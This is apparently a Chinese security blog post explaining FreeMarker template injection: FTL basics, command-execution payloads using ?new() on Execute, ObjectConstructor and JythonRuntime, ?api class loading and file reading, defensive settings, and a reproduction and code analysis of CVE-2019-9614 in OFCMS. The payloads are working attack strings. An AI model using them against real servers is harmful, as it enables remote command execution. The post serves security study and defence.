FreeMarker模板注入

FreeMarker

原理

hwHtTf.png

FreeMarker模板语言(FTL)的4个组成部分:

  1. 文本:原样输出
  2. 插值:输出会被模板引擎计算得到的值替换
  3. FTL标签:与html标签类似,只是给FreeMarker的提示,不会打印在输出内容里
  4. 注释

利用

内建函数

利用FreeMarker的原生函数

new函数利用

new函数可以创建一个继承自freemarker.template.TemplateModel类的实例,实例化可用的对象来执行命令

1
2
3
4
5
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

freemarker.template.utility.Execute#exec

执行命令

hwHUk8.png

api函数利用

api函数可以用来访问Java API

通过getClassLoader获取类加载器,加载恶意类

1
2
<#assign classLoader=object?api.class.getClassLoader()>
${classLoader.loadClass("Evil.class")}

getResource读取资源文件

1
<#assign is=object?api.class.getResourceAsStream("/Test.class")> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]

防御措施

FreeMarker>2.3.22

api_builtin_enabled默认false,不能使用api内建函数

还提供了3个预定义的解析器限制new函数对类的访问

  1. UNRESTRICTED_RESOLVER:简单的调用ClassUtil.forName(String)
  2. SAFER_RESOLVER:禁止解析ObjectConstructor、Execute、freemarker.template.utility.JythonRuntime(上面三个执行命令的类)
  3. ALLOWS_NOTHING_RESOLVER:禁止解析任何类

CVE-2019-9614

漏洞概要

影响版本:OFCMS<1.1.3

FreeMarker版本:2.3.21

OFCMS使用FreeMarker作为模板引擎,后台提供了修改模板文件的功能,攻击者可利用FreeMarker模板注入的方式获取权限

漏洞复现

登录后台,在一个模板文件中插入payload,这里用contact.html

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

hwHY0P.png

访问对应页面,触发模板解析,执行命令

1
http://localhost:8080/ofcms_admin_war/contact.html

hwHatS.png

漏洞分析

/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController

save方法先获取模板文件路径,然后将未过滤的数据保存入模板文件,导致攻击者将可执行系统命令的代码存入FreeMarker模板

hwHdfg.png

对应的模板文件目录

hwHJmt.png

参考

https://www.cnblogs.com/Eleven-Liu/p/12747908.html

https://blog.csdn.net/Alexz__/article/details/116426132

http://lanbainan.cn/2020/05/20/2020-05-20/

https://blog.csdn.net/Alexz__/article/details/116400913

http://cn-sec.com/archives/232669.html

https://xz.aliyun.com/t/4846


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!